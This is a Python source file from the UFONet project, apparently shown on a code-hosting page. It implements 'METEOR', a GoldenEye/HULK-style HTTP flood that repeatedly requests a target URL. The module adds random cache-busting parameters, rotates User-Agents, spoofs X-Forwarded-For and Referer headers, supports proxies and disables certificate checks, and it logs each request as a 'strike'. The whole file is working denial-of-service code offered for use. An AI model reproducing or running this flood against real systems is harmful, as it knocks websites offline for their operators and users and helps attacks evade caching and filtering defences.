goldeneye.py 2.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, string, time
  11. try:
  12. import requests
  13. import urllib3
  14. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  15. except ImportError:
  16. from core._ensure import ensure
  17. if ensure('requests') is None or ensure('urllib3') is None:
  18. print("\nError importing: requests lib.\n")
  19. sys.exit(2)
  20. import requests
  21. import urllib3
  22. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  23. # UFONet GoldenEye / HULK style (METEOR) - HTTP flood with cache-busting unique URIs
  24. def _rand(n):
  25. return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(n))
  26. def meteorize(self, target, rounds, proxy):
  27. n=0
  28. proxyD = {"http": proxy, "https": proxy}
  29. try:
  30. for i in range(int(rounds)):
  31. n += 1
  32. self.user_agent = random.choice(self.agents).strip()
  33. params = {
  34. _rand(6): _rand(8),
  35. _rand(6): _rand(8),
  36. '_': str(random.randint(1, 10**12)),
  37. 'rnd': _rand(12),
  38. }
  39. headers = {
  40. 'User-Agent': str(self.user_agent),
  41. 'Accept': '*/*',
  42. 'Cache-Control': 'no-cache, max-age=0',
  43. 'Pragma': 'no-cache',
  44. 'X-Forwarded-For': '.'.join(str(random.randint(1,254)) for _ in range(4)),
  45. 'Referer': 'https://www.google.com/?q=' + _rand(8),
  46. }
  47. try:
  48. requests.get(target, params=params, headers=headers, proxies=proxyD, verify=False, timeout=8)
  49. print("[Info] [AI] [METEOR] Strike ["+str(n)+"] -> [HIT!]")
  50. except Exception:
  51. print("[Error] [AI] [METEOR] Failed strike ["+str(n)+"]")
  52. except:
  53. print("[Error] [AI] [METEOR] Failing to engage... -> Is still target online? -> [Checking!]")
  54. class GOLDENEYE(object):
  55. def __init__(self):
  56. self.agents_file = 'core/txt/user-agents.txt'
  57. self.agents = []
  58. try:
  59. with open(self.agents_file) as f:
  60. for a in f.readlines():
  61. self.agents.append(a)
  62. except Exception:
  63. self.agents = ['Mozilla/5.0 (UFONet-METEOR)']
  64. self.user_agent = self.agents[0]
  65. def attacking(self, target, rounds, proxy=None):
  66. print("[Info] [AI] HTTP cache-bust flood (METEOR) is ready to fire: [", rounds, "strikes ]")
  67. meteorize(self, target, rounds, proxy)